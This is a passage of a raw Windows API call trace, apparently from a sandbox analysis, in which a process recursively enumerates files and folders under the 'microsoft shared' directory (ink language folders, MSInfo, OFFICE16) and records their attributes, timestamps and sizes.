FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.456] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.456] GetProcessHeap () returned 0xaf0000 [0276.456] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.456] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0276.456] GetProcessHeap () returned 0xaf0000 [0276.456] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.456] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.456] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.456] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.456] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.456] GetProcessHeap () returned 0xaf0000 [0276.456] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.456] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0276.456] GetProcessHeap () returned 0xaf0000 [0276.456] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.457] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.457] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.457] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.457] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.457] GetProcessHeap () returned 0xaf0000 [0276.457] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.457] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0276.457] GetProcessHeap () returned 0xaf0000 [0276.457] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.457] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.457] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.458] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.458] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.458] GetProcessHeap () returned 0xaf0000 [0276.458] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.458] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0276.458] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.458] GetProcessHeap () returned 0xaf0000 [0276.458] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3656248 | out: hHeap=0xaf0000) returned 1 [0276.459] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0276.459] GetProcessHeap () returned 0xaf0000 [0276.459] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36ba298 [0276.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.460] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.460] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.460] GetProcessHeap () returned 0xaf0000 [0276.460] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3656248 [0276.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.461] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="..", cAlternateFileName="")) returned 1 [0276.461] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0276.461] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0276.461] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.461] GetProcessHeap () returned 0xaf0000 [0276.461] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3656248 | out: hHeap=0xaf0000) returned 1 [0276.461] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0276.461] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0276.461] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.461] GetProcessHeap () returned 0xaf0000 [0276.462] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36ba298 | out: hHeap=0xaf0000) returned 1 [0276.462] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0276.463] GetProcessHeap () returned 0xaf0000 [0276.463] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36ba298 [0276.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.463] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.464] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0276.464] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0276.464] GetProcessHeap () returned 0xaf0000 [0276.464] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3656248 [0276.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0276.466] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="..", cAlternateFileName="")) returned 1 [0276.466] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0276.466] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0276.467] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0276.467] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x5a6, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0276.467] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0276.467] GetProcessHeap () returned 0xaf0000 [0276.468] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3656248 | out: hHeap=0xaf0000) returned 1 [0276.468] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, 